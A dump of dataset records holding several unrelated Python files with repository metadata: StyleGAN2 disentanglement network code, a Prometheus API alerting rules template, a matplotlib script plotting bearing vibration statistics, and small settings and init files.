1986f5d48311449940f88f9bfbdfc74e4bb011dc | 86 | py | Python | minblog2/settings.py | waisuan/minblog_af | 513d387f0df49435b417dcf7462ce6538f46ed19 | [
"MIT"
] | null | null | null | minblog2/settings.py | waisuan/minblog_af | 513d387f0df49435b417dcf7462ce6538f46ed19 | [
"MIT"
] | null | null | null | minblog2/settings.py | waisuan/minblog_af | 513d387f0df49435b417dcf7462ce6538f46ed19 | [
"MIT"
] | null | null | null | import os
DEBUG = True
SECRET_KEY = os.urandom(32)
# app.secret_key = os.urandom(32)
| 14.333333 | 33 | 0.72093 | 15 | 86 | 4 | 0.6 | 0.3 | 0.366667 | 0.6 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0.054795 | 0.151163 | 86 | 5 | 34 | 17.2 | 0.767123 | 0.360465 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
19a174623514799a879f6016dda6683308fdf89a | 15,758 | py | Python | training/hd_networks.py | zhuxinqimac/stylegan2 | 5c3bda161ead21ea290de4190d3704e59cf6de64 | [
"BSD-Source-Code"
] | 5 | 2020-01-23T10:04:27.000Z | 2021-07-04T09:51:28.000Z | training/hd_networks.py | zhuxinqimac/stylegan2 | 5c3bda161ead21ea290de4190d3704e59cf6de64 | [
"BSD-Source-Code"
] | null | null | null | training/hd_networks.py | zhuxinqimac/stylegan2 | 5c3bda161ead21ea290de4190d3704e59cf6de64 | [
"BSD-Source-Code"
] | null | null | null | #!/usr/bin/python
#-*- coding: utf-8 -*-
# >.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.
# Licensed under the Apache License, Version 2.0 (the "License")
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# --- File Name: hd_networks.py
# --- Creation Date: 07-04-2020
# --- Last Modified: Wed 22 Apr 2020 23:33:04 AEST
# --- Author: Xinqi Zhu
# .<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<
"""
HD disentanglement networks.
"""
import numpy as np
import tensorflow as tf
from dnnlib.tflib.ops.upfirdn_2d import upsample_2d, downsample_2d
from training.networks_stylegan2 import get_weight, dense_layer, conv2d_layer
from training.networks_stylegan2 import apply_bias_act, naive_upsample_2d
from training.networks_stylegan2 import minibatch_stddev_layer
#----------------------------------------------------------------------------
# Empty M network.
def net_M_empty(latents_in,
C_global_size=10,
D_global_size=0,
latent_size=512, # Latent vector (Z) dimensionality.
mapping_lrmul=0.1, # Learning rate multiplier for the mapping layers.
use_std_in_m=False, # If output prior std.
dtype='float32', # Data type to use for activations and outputs.
**_kwargs): # Ignore unrecognized keyword args.
latents_in.set_shape([None, C_global_size])
x = latents_in
# Output.
assert x.dtype == tf.as_dtype(dtype)
return tf.identity(x, name='to_latent_out')
#----------------------------------------------------------------------------
# VC disentanglement network.
def net_M_vc(latents_in,
C_global_size=10,
D_global_size=0,
latent_size=512, # Latent vector (Z) dimensionality.
mapping_lrmul=0.1, # Learning rate multiplier for the mapping layers.
use_std_in_m=False, # If output prior std.
dtype='float32', # Data type to use for activations and outputs.
**_kwargs): # Ignore unrecognized keyword args.
latents_in.set_shape([None, C_global_size])
x = latents_in
x = apply_bias_act(dense_layer(x, fmaps=latent_size, lrmul=mapping_lrmul),
act='lrelu', lrmul=mapping_lrmul)
# Output.
assert x.dtype == tf.as_dtype(dtype)
return tf.identity(x, name='to_latent_out')
#----------------------------------------------------------------------------
# Hyperplane Mapper disentanglement network.
def net_M_hyperplane(latents_in,
C_global_size=10,
D_global_size=0,
latent_size=512, # Latent vector (Z) dimensionality.
mapping_lrmul=0.1, # Learning rate multiplier for the mapping layers.
use_std_in_m=False, # If output prior std.
dtype='float32', # Data type to use for activations and outputs.
**_kwargs): # Ignore unrecognized keyword args.
latents_in.set_shape([None, C_global_size])
x = latents_in
# x = tf.concat([x, tf.zeros([tf.shape(x)[0], latent_size - C_global_size], dtype=x.dtype)], axis=1)
# W = tf.Variable(tf.random_normal((latent_size, latent_size)))
# W = get_weight([latent_size, latent_size], lrmul=mapping_lrmul, weight_var='orth_weight')
W = get_weight([C_global_size, latent_size], lrmul=mapping_lrmul, weight_var='weight')
W = tf.cast(W, x.dtype)
x = tf.matmul(x, W)
# # Orthogonal constraint on W
# constraint = tf.matmul(W, W, transpose_b=True) - tf.eye(latent_size, dtype=x.dtype)
# print('orth_constraint_1.shape:', constraint.get_shape().as_list())
# constraint = tf.reduce_sum(constraint * constraint)
# print('constraint.shape:', constraint.get_shape().as_list())
# Magnitude constraint on W
# constraint = tf.reduce_sum(W * W)
# W_norms = tf.math.sqrt(tf.reduce_sum(W * W, axis=1))
W_norms = tf.reduce_sum(W * W, axis=1)
constraint = W_norms - latent_size * tf.ones([C_global_size], dtype=W_norms.dtype)
constraint = tf.reduce_mean(constraint * constraint)
# Output.
assert x.dtype == tf.as_dtype(dtype)
return tf.identity(x, name='to_latent_out'), constraint
#----------------------------------------------------------------------------
# Mapper disentanglement network.
def net_M(latents_in,
C_global_size=10,
D_global_size=0,
latent_size=512, # Latent vector (Z) dimensionality.
mapping_layers=4, # Number of mapping layers.
mapping_lrmul=0.1, # Learning rate multiplier for the mapping layers.
mapping_fmaps=512, # Number of activations in the mapping layers.
mapping_nonlinearity='lrelu', # Activation function: 'relu', 'lrelu', etc.
use_std_in_m=False, # If output prior std.
dtype='float32', # Data type to use for activations and outputs.
**_kwargs): # Ignore unrecognized keyword args.
act = mapping_nonlinearity
latents_in.set_shape([None, C_global_size + D_global_size])
x = latents_in
# Mapping layers.
for layer_idx in range(mapping_layers):
with tf.variable_scope('Dense%d' % layer_idx):
# if layer_idx == mapping_layers - 1:
# fmaps = latent_size
# act = 'tanh'
# else:
# fmaps = mapping_fmaps
# act = mapping_nonlinearity
# x = apply_bias_act(dense_layer(x, fmaps=fmaps, lrmul=mapping_lrmul),
# act=act, lrmul=mapping_lrmul)
if layer_idx == mapping_layers - 1:
if use_std_in_m:
fmaps = 2 * latent_size
else:
fmaps = latent_size
act = 'linear'
else:
fmaps = mapping_fmaps
act = mapping_nonlinearity
x = apply_bias_act(dense_layer(x, fmaps=fmaps, lrmul=mapping_lrmul),
act=act, lrmul=mapping_lrmul)
# # x = x * 1.5
# with tf.variable_scope('Dense1'):
# # x = tf.zeros([tf.shape(x)[0], latent_size], dtype=x.dtype) + 0.5
# x = tf.random.normal([tf.shape(x)[0], latent_size], mean=0.0, stddev=0.5)
# Output.
assert x.dtype == tf.as_dtype(dtype)
return tf.identity(x, name='to_latent_out')
#----------------------------------------------------------------------------
# Recognizor network.
def net_I(
fake1, # First input: generated image from z [minibatch, channel, height, width].
fake2, # Second input: hidden features from z + delta(z) [minibatch, channel, height, width].
C_global_size=10,
D_global_size=0,
num_channels=3, # Number of input color channels. Overridden based on dataset.
resolution=1024, # Input resolution. Overridden based on dataset.
fmap_base=16 << 10, # Overall multiplier for the number of feature maps.
fmap_decay=1.0, # log2 feature map reduction when doubling the resolution.
fmap_min=1, # Minimum number of feature maps in any layer.
fmap_max=512, # Maximum number of feature maps in any layer.
architecture='resnet', # Architecture: 'orig', 'skip', 'resnet'.
nonlinearity='lrelu', # Activation function: 'relu', 'lrelu', etc.
mbstd_group_size=4, # Group size for the minibatch standard deviation layer, 0 = disable.
mbstd_num_features=1, # Number of features for the minibatch standard deviation layer.
dtype='float32', # Data type to use for activations and outputs.
resample_kernel=[
1, 3, 3, 1
], # Low-pass filter to apply when resampling activations. None = no filtering.
connect_mode='concat', # How fake1 and fake2 connected.
**_kwargs): # Ignore unrecognized keyword args.
resolution_log2 = int(np.log2(resolution))
assert resolution == 2**resolution_log2 and resolution >= 4
def nf(stage):
return np.clip(int(fmap_base / (2.0**(stage * fmap_decay))), fmap_min,
fmap_max)
assert architecture in ['orig', 'skip', 'resnet']
act = nonlinearity
fake1.set_shape([None, num_channels, resolution, resolution])
fake2.set_shape([None, num_channels, resolution, resolution])
fake1 = tf.cast(fake1, dtype)
fake2 = tf.cast(fake2, dtype)
if connect_mode == 'diff':
images_in = fake1 - fake2
elif connect_mode == 'concat':
images_in = tf.concat([fake1, fake2], axis=1)
# Building blocks for main layers.
def fromrgb(x, y, res): # res = 2..resolution_log2
with tf.variable_scope('FromRGB'):
t = apply_bias_act(conv2d_layer(y, fmaps=nf(res - 1), kernel=1), act=act)
return t if x is None else x + t
def block(x, res): # res = 2..resolution_log2
t = x
with tf.variable_scope('Conv0'):
x = apply_bias_act(conv2d_layer(x, fmaps=nf(res - 1), kernel=3), act=act)
with tf.variable_scope('Conv1_down'):
x = apply_bias_act(conv2d_layer(x, fmaps=nf(res - 2), kernel=3, down=True,
resample_kernel=resample_kernel), act=act)
if architecture == 'resnet':
with tf.variable_scope('Skip'):
t = conv2d_layer(t, fmaps=nf(res - 2), kernel=1, down=True,
resample_kernel=resample_kernel)
x = (x + t) * (1 / np.sqrt(2))
return x
def downsample(y):
with tf.variable_scope('Downsample'):
return downsample_2d(y, k=resample_kernel)
def hier_out_branch(x, nd_out):
with tf.variable_scope('Output'):
if len(x.shape) == 4:
x = tf.reduce_mean(tf.reduce_mean(x, axis=3), axis=2)
elif len(x.shape) != 2:
raise ValueError('Not recognized dimension.')
x = apply_bias_act(dense_layer(x, fmaps=nd_out))
return x
# Main layers.
nd_out_base = C_global_size // (resolution_log2 - 1)
nd_out_list = [nd_out_base + C_global_size % (resolution_log2 - 1) if i == 0 else nd_out_base for i in range(resolution_log2 - 1)]
out_list = []
x = None
y = images_in
for res in range(resolution_log2, 2, -1):
with tf.variable_scope('%dx%d' % (2**res, 2**res)):
if architecture == 'skip' or res == resolution_log2:
x = fromrgb(x, y, res)
x = block(x, res)
if architecture == 'skip':
y = downsample(y)
# x_out_branch = hier_out_branch(x, nd_out_list[res-2])
# out_list.append(x_out_branch)
# Final layers.
with tf.variable_scope('4x4'):
if architecture == 'skip':
x = fromrgb(x, y, 2)
if mbstd_group_size > 1:
with tf.variable_scope('MinibatchStddev'):
x = minibatch_stddev_layer(x, mbstd_group_size,
mbstd_num_features)
with tf.variable_scope('Conv'):
x = apply_bias_act(conv2d_layer(x, fmaps=nf(1), kernel=3), act=act)
with tf.variable_scope('Dense0'):
x = apply_bias_act(dense_layer(x, fmaps=nf(0)), act=act)
# x_out_branch = hier_out_branch(x, nd_out_list[0])
# out_list.append(x_out_branch)
# Output layer with label conditioning from "Which Training Methods for GANs do actually Converge?"
with tf.variable_scope('Output'):
with tf.variable_scope('Dense_VC'):
x = apply_bias_act(dense_layer(x, fmaps=(D_global_size + C_global_size)))
# Output.
assert x.dtype == tf.as_dtype(dtype)
return x
# assert out_list[-1].dtype == tf.as_dtype(dtype)
# return tuple(out_list)
#----------------------------------------------------------------------------
# Info-Gan Discriminator network.
def net_I_info(
images_in, # First input: generated image from z [minibatch, channel, height, width].
C_global_size=10,
D_global_size=0,
num_channels=3, # Number of input color channels. Overridden based on dataset.
resolution=1024, # Input resolution. Overridden based on dataset.
fmap_base=16 << 10, # Overall multiplier for the number of feature maps.
fmap_decay=1.0, # log2 feature map reduction when doubling the resolution.
fmap_min=1, # Minimum number of feature maps in any layer.
fmap_max=512, # Maximum number of feature maps in any layer.
architecture='resnet', # Architecture: 'orig', 'skip', 'resnet'.
nonlinearity='lrelu', # Activation function: 'relu', 'lrelu', etc.
mbstd_group_size=4, # Group size for the minibatch standard deviation layer, 0 = disable.
mbstd_num_features=1, # Number of features for the minibatch standard deviation layer.
dtype='float32', # Data type to use for activations and outputs.
resample_kernel=[
1, 3, 3, 1
], # Low-pass filter to apply when resampling activations. None = no filtering.
**_kwargs): # Ignore unrecognized keyword args.
resolution_log2 = int(np.log2(resolution))
assert resolution == 2**resolution_log2 and resolution >= 4
def nf(stage):
return np.clip(int(fmap_base / (2.0**(stage * fmap_decay))), fmap_min,
fmap_max)
assert architecture in ['orig', 'skip', 'resnet']
act = nonlinearity
images_in.set_shape([None, num_channels, resolution, resolution])
images_in = tf.cast(images_in, dtype)
# Building blocks for main layers.
def fromrgb(x, y, res): # res = 2..resolution_log2
with tf.variable_scope('FromRGB'):
t = apply_bias_act(conv2d_layer(y, fmaps=nf(res - 1), kernel=1),
act=act)
return t if x is None else x + t
def block(x, res): # res = 2..resolution_log2
t = x
with tf.variable_scope('Conv0'):
x = apply_bias_act(conv2d_layer(x, fmaps=nf(res - 1), kernel=3), act=act)
with tf.variable_scope('Conv1_down'):
x = apply_bias_act(conv2d_layer(x, fmaps=nf(res - 2), kernel=3, down=True,
resample_kernel=resample_kernel), act=act)
if architecture == 'resnet':
with tf.variable_scope('Skip'):
t = conv2d_layer(t, fmaps=nf(res - 2), kernel=1, down=True,
resample_kernel=resample_kernel)
x = (x + t) * (1 / np.sqrt(2))
return x
def downsample(y):
with tf.variable_scope('Downsample'):
return downsample_2d(y, k=resample_kernel)
# Main layers.
x = None
y = images_in
for res in range(resolution_log2, 2, -1):
with tf.variable_scope('%dx%d' % (2**res, 2**res)):
if architecture == 'skip' or res == resolution_log2:
x = fromrgb(x, y, res)
x = block(x, res)
if architecture == 'skip':
y = downsample(y)
# Final layers.
with tf.variable_scope('4x4'):
if architecture == 'skip':
x = fromrgb(x, y, 2)
if mbstd_group_size > 1:
with tf.variable_scope('MinibatchStddev'):
x = minibatch_stddev_layer(x, mbstd_group_size, mbstd_num_features)
with tf.variable_scope('Conv'):
x = apply_bias_act(conv2d_layer(x, fmaps=nf(1), kernel=3), act=act)
with tf.variable_scope('Dense0'):
x = apply_bias_act(dense_layer(x, fmaps=nf(0)), act=act)
# Output layer with label conditioning from "Which Training Methods for GANs do actually Converge?"
with tf.variable_scope('Output'):
with tf.variable_scope('Dense_VC'):
x = apply_bias_act(dense_layer(x, fmaps=D_global_size))
# Output.
assert x.dtype == tf.as_dtype(dtype)
return x
| 43.410468 | 134 | 0.598426 | 2,057 | 15,758 | 4.390374 | 0.139037 | 0.031004 | 0.041856 | 0.056804 | 0.806998 | 0.778319 | 0.738567 | 0.715092 | 0.696379 | 0.682649 | 0 | 0.022948 | 0.261645 | 15,758 | 362 | 135 | 43.530387 | 0.753245 | 0.335131 | 0 | 0.729508 | 0 | 0 | 0.040801 | 0 | 0 | 0 | 0 | 0 | 0.040984 | 1 | 0.061475 | false | 0 | 0.02459 | 0.008197 | 0.147541 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
19a17e1664e6f32e988ee0dab1f247a1a57acc52 | 96 | py | Python | venv/lib/python3.8/site-packages/poetry/console/logging/formatters/__init__.py | Retraces/UkraineBot | 3d5d7f8aaa58fa0cb8b98733b8808e5dfbdb8b71 | [
"MIT"
] | 2 | 2022-03-13T01:58:52.000Z | 2022-03-31T06:07:54.000Z | venv/lib/python3.8/site-packages/poetry/console/logging/formatters/__init__.py | DesmoSearch/Desmobot | b70b45df3485351f471080deb5c785c4bc5c4beb | [
"MIT"
] | 19 | 2021-11-20T04:09:18.000Z | 2022-03-23T15:05:55.000Z | venv/lib/python3.8/site-packages/poetry/console/logging/formatters/__init__.py | DesmoSearch/Desmobot | b70b45df3485351f471080deb5c785c4bc5c4beb | [
"MIT"
] | null | null | null | /home/runner/.cache/pip/pool/f5/c4/1f/7f9085694660e50252899bc42c821cf26c0b19a34c15a74ef6e58cefc3 | 96 | 96 | 0.895833 | 9 | 96 | 9.555556 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.4375 | 0 | 96 | 1 | 96 | 96 | 0.458333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
19a8c887b4689412673d345c1e7e648d7a817165 | 25 | py | Python | core/models/__init__.py | FMsunyh/keras-yolo2 | 3439e2cffecbb47349fca8adb727c1c298d9c2d9 | [
"Apache-2.0"
] | 2 | 2018-12-13T10:17:51.000Z | 2018-12-13T10:17:56.000Z | core/models/__init__.py | FMsunyh/keras-yolo2 | 3439e2cffecbb47349fca8adb727c1c298d9c2d9 | [
"Apache-2.0"
] | null | null | null | core/models/__init__.py | FMsunyh/keras-yolo2 | 3439e2cffecbb47349fca8adb727c1c298d9c2d9 | [
"Apache-2.0"
] | null | null | null | from .yolo2 import Yolo2
| 12.5 | 24 | 0.8 | 4 | 25 | 5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.095238 | 0.16 | 25 | 1 | 25 | 25 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
19b17c4cd5e1f865a91ecf63e8941b2d23573856 | 85 | py | Python | ArtGAN/nn/activations.py | rh01/caffe-model-for-category-artgan | 911b8fb44c62e8a2c71396099194d8925ed7c826 | [
"BSD-3-Clause"
] | 304 | 2018-07-17T00:18:54.000Z | 2022-03-31T22:26:42.000Z | ArtGAN/nn/activations.py | cs-chan/Artwork-Synthesis-Classification | ad9cd090c669ca636f6c048d97608092d52dd3e0 | [
"BSD-3-Clause"
] | 9 | 2018-10-16T14:42:51.000Z | 2022-01-13T11:22:02.000Z | ArtGAN/nn/activations.py | cs-chan/Artwork-Synthesis-Classification | ad9cd090c669ca636f6c048d97608092d52dd3e0 | [
"BSD-3-Clause"
] | 57 | 2018-07-19T02:38:29.000Z | 2022-03-17T11:12:17.000Z | import tensorflow as tf
def lrelu(x, alpha=0.1):
return tf.maximum(alpha*x, x)
| 14.166667 | 33 | 0.682353 | 16 | 85 | 3.625 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.028986 | 0.188235 | 85 | 5 | 34 | 17 | 0.811594 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
5feedc0e9b4d6bd1bb1d549e8c9ced9f0ba5d47f | 32 | py | Python | tests/__init__.py | mykolaf/sonic-snmpagent | c8e5757b7f5495607bbf13d936f106991c13ddf5 | [
"Apache-2.0"
] | null | null | null | tests/__init__.py | mykolaf/sonic-snmpagent | c8e5757b7f5495607bbf13d936f106991c13ddf5 | [
"Apache-2.0"
] | null | null | null | tests/__init__.py | mykolaf/sonic-snmpagent | c8e5757b7f5495607bbf13d936f106991c13ddf5 | [
"Apache-2.0"
] | null | null | null | import tests.mock_tables.socket
| 16 | 31 | 0.875 | 5 | 32 | 5.4 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.0625 | 32 | 1 | 32 | 32 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
275dd0b83c41c8f685b8d9ddc959784a2ba53fd1 | 2,670 | py | Python | agilicus/v1/apigenerator/alerting_rules.py | rosscdh/kustomize-plugins | 5f304b5c43a5f846dab49b938e7c304f83e9e945 | [
"Apache-2.0"
] | null | null | null | agilicus/v1/apigenerator/alerting_rules.py | rosscdh/kustomize-plugins | 5f304b5c43a5f846dab49b938e7c304f83e9e945 | [
"Apache-2.0"
] | null | null | null | agilicus/v1/apigenerator/alerting_rules.py | rosscdh/kustomize-plugins | 5f304b5c43a5f846dab49b938e7c304f83e9e945 | [
"Apache-2.0"
] | null | null | null | alerting_rules = """
---
apiVersion: monitoring.coreos.com/v1
kind: PrometheusRule
metadata:
labels:
alertmanager: main
prometheus: main
role: alert-rules
name: {cfg[name_version]}-{cfg[name]}-api-rules
spec:
groups:
- name: alerts
rules:
- alert: {cfg[name_version]}-{cfg[name]} 5xx Errors
expr: 'sum(flask_http_request_total{{service="{cfg[name_version]}-{cfg[name]}",status=~"5.."}}) - sum(flask_http_request_total{{service="{cfg[name_version]}-{cfg[name]}",status=~"5.."}} offset 1m) > 0'
for: 1m
labels:
severity: warning
annotations:
summary: "API Service {cfg[name_version]}-{cfg[name]} experiencing 5xx errors"
- alert: {cfg[name_version]}-{cfg[name]} high 5xx Errors
expr: 'sum(flask_http_request_total{{service="{cfg[name_version]}-{cfg[name]}",status=~"5.."}}) - sum(flask_http_request_total{{service="{cfg[name_version]}-{cfg[name]}",status=~"5.."}} offset 1m) > 10'
for: 1m
labels:
severity: critical
annotations:
summary: "API Service {cfg[name_version]}-{cfg[name]} experiencing a high number of 5xx errors"
- alert: {cfg[name_version]}-{cfg[name]} 401 Errors
expr: 'sum(flask_http_request_total{{service="{cfg[name_version]}-{cfg[name]}",status="401"}}) - sum(flask_http_request_total{{service="{cfg[name_version]}-{cfg[name]}",status="401"}} offset 1m) > 20'
for: 1m
labels:
severity: warning
annotations:
summary: "API Service {cfg[name_version]}-{cfg[name]} experiencing 401 errors"
- alert: {cfg[name_version]}-{cfg[name]} 403 Errors
expr: 'sum(flask_http_request_total{{service="{cfg[name_version]}-{cfg[name]}",status="403"}}) - sum(flask_http_request_total{{service="{cfg[name_version]}-{cfg[name]}",status="403"}} offset 1m) > 20'
for: 1m
labels:
severity: warning
annotations:
summary: "API Service {cfg[name_version]}-{cfg[name]} experiencing 403 errors"
- alert: {cfg[name_version]}-{cfg[name]} not meeting response time SLA
expr: '0 < sum(rate(flask_http_request_duration_seconds_bucket{{le="0.5",job="{cfg[name_version]}-{cfg[name]}",path!="/healthz"}}[5m])) / sum(rate(flask_http_request_duration_seconds_count{{job="{cfg[name_version]}-{cfg[name]}",path!="/healthz"}}[5m])) < 0.95'
for: 5m
labels:
severity: warning
annotations:
summary: "API {cfg[name_version]}-{cfg[name]} is not meeting the SLA requirement of 95% of all requests within 500ms"
"""
| 52.352941 | 270 | 0.621723 | 334 | 2,670 | 4.802395 | 0.224551 | 0.183292 | 0.183292 | 0.222569 | 0.796758 | 0.770574 | 0.72818 | 0.640898 | 0.597257 | 0.551122 | 0 | 0.029384 | 0.209738 | 2,670 | 50 | 271 | 53.4 | 0.730806 | 0 | 0 | 0.38 | 0 | 0.14 | 0.991011 | 0.49176 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
277ab75c1c48699e614bec30cdf0195fa4aff4fe | 15,089 | py | Python | scripts/pgf_converter.py | jaimebw/tfm | 28e84fd3c4ca265a58ef3467e867395de6db394c | [
"MIT"
] | null | null | null | scripts/pgf_converter.py | jaimebw/tfm | 28e84fd3c4ca265a58ef3467e867395de6db394c | [
"MIT"
] | null | null | null | scripts/pgf_converter.py | jaimebw/tfm | 28e84fd3c4ca265a58ef3467e867395de6db394c | [
"MIT"
] | null | null | null | # This scrips is for obtaining all the data set representation into .pgf images
# Reference: https://timodenk.com/blog/exporting-matplotlib-plots-to-latex/
# You might need to add \usepackage{pgfplots} to your main.tex file
# To add the images you just need to:
# \begin{figure}
# \begin{center}
# \input{your_plot.pgf}
# \end{center}
# \caption{Your caption}
# \end{figure}
import sys
from pathlib import Path
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import matplotlib
import matplotlib.dates as mdates
matplotlib.style.context("seaborn-paper")
matplotlib.use("pgf")
matplotlib.rcParams.update(
{
"pgf.texsystem": "pdflatex",
"font.family": "serif",
"text.usetex": True,
"pgf.rcfonts": False,
}
)
pgf_imgs = Path("pgf_img")
if not pgf_imgs.exists():
pgf_imgs.mkdir()
def get_rms(values):
# return the Root Mean Square
# More info at https://en.wikipedia.org/wiki/Root_mean_square
return np.sqrt(np.sum(values ** 2) / len(values))
def get_absmean(values):
# returns the absolute mean
return np.sum(np.abs(values)) / len(values)
def get_rms(values):
# return the Root Mean Square
# More info at https://en.wikipedia.org/wiki/Root_mean_square
return np.sqrt(np.sum(values ** 2) / len(values))
def get_shapefactor(values):
# returns the shape factor
# More info at https://en.wikipedia.org/wiki/Shape_parameter
shapefactor = get_rms(values) / get_absmean(values)
return shapefactor
def plot_skew_stats(df, dataset_name):
cols = df.columns.to_list()[:-1]
df = df.abs()
df1 = df.groupby(["timestamp"]).apply(pd.DataFrame.skew)
df1.drop(columns=["timestamp"], inplace=True)
df1.index = pd.to_datetime(df1.index, unit="s")
with plt.style.context("seaborn-paper"):
myFmt = mdates.DateFormatter("%d/%m")
fig, ax = plt.subplots()
if len(cols) < 6:
ax.plot(df1.b1_ch1, label="Bearing 1")
ax.plot(df1.b2_ch2, label="Bearing 2")
ax.plot(df1.b3_ch3, label="Bearing 3")
ax.plot(df1.b4_ch4, label="Bearing 4")
else:
ax.plot(df1.b1_ch1, label="Bearing 1 C-X")
ax.plot(df1.b1_ch2, label="Bearing 1 C-Y ")
ax.plot(df1.b2_ch3, label="Bearing 2 C-X")
ax.plot(df1.b2_ch4, label="Bearing 2 C-Y")
ax.plot(df1.b3_ch5, label="Bearing 3 C-X")
ax.plot(df1.b3_ch6, label="Bearing 3 C-Y")
ax.plot(df1.b4_ch7, label="Bearing 4 C-X")
ax.plot(df1.b4_ch8, label="Bearing 4 C-Y")
ax.set_xlabel("Days")
ax.legend()
ax.set_ylabel("Skew of the vibration")
ax.xaxis.set_major_formatter(myFmt)
ax.grid()
ax.set_title("Skewness")
fig.savefig(dataset_name + ".pgf")
plt.close(fig)
def plot_kurtosis_stats(df, dataset_name):
cols = df.columns.to_list()[:-1]
df = df.abs()
df1 = df.groupby(["timestamp"]).apply(pd.DataFrame.kurt)
df1.drop(columns=["timestamp"], inplace=True)
df1.index = pd.to_datetime(df1.index, unit="s")
with plt.style.context("seaborn-paper"):
myFmt = mdates.DateFormatter("%d/%m")
fig, ax = plt.subplots()
if len(cols) < 6:
ax.plot(df1.b1_ch1, label="Bearing 1")
ax.plot(df1.b2_ch2, label="Bearing 2")
ax.plot(df1.b3_ch3, label="Bearing 3")
ax.plot(df1.b4_ch4, label="Bearing 4")
else:
ax.plot(df1.b1_ch1, label="Bearing 1 C-X")
ax.plot(df1.b1_ch2, label="Bearing 1 C-Y ")
ax.plot(df1.b2_ch3, label="Bearing 2 C-X")
ax.plot(df1.b2_ch4, label="Bearing 2 C-Y")
ax.plot(df1.b3_ch5, label="Bearing 3 C-X")
ax.plot(df1.b3_ch6, label="Bearing 3 C-Y")
ax.plot(df1.b4_ch7, label="Bearing 4 C-X")
ax.plot(df1.b4_ch8, label="Bearing 4 C-Y")
ax.set_xlabel("Days")
ax.legend()
ax.set_ylabel("Kurtosis of the vibration")
ax.xaxis.set_major_formatter(myFmt)
ax.grid()
ax.set_title("Kurtosis")
fig.savefig(dataset_name + ".pgf")
plt.close(fig)
def plot_shapefactor_stats(df, dataset_name):
cols = df.columns.to_list()[:-1]
df = df.abs()
df1 = df.groupby(["timestamp"]).apply(get_shapefactor)
df1.drop(columns=["timestamp"], inplace=True)
df1.index = pd.to_datetime(df1.index, unit="s")
with plt.style.context("seaborn-paper"):
myFmt = mdates.DateFormatter("%d/%m")
fig, ax = plt.subplots()
if len(cols) < 6:
ax.plot(df1.b1_ch1, label="Bearing 1")
ax.plot(df1.b2_ch2, label="Bearing 2")
ax.plot(df1.b3_ch3, label="Bearing 3")
ax.plot(df1.b4_ch4, label="Bearing 4")
else:
ax.plot(df1.b1_ch1, label="Bearing 1 C-X")
ax.plot(df1.b1_ch2, label="Bearing 1 C-Y ")
ax.plot(df1.b2_ch3, label="Bearing 2 C-X")
ax.plot(df1.b2_ch4, label="Bearing 2 C-Y")
ax.plot(df1.b3_ch5, label="Bearing 3 C-X")
ax.plot(df1.b3_ch6, label="Bearing 3 C-Y")
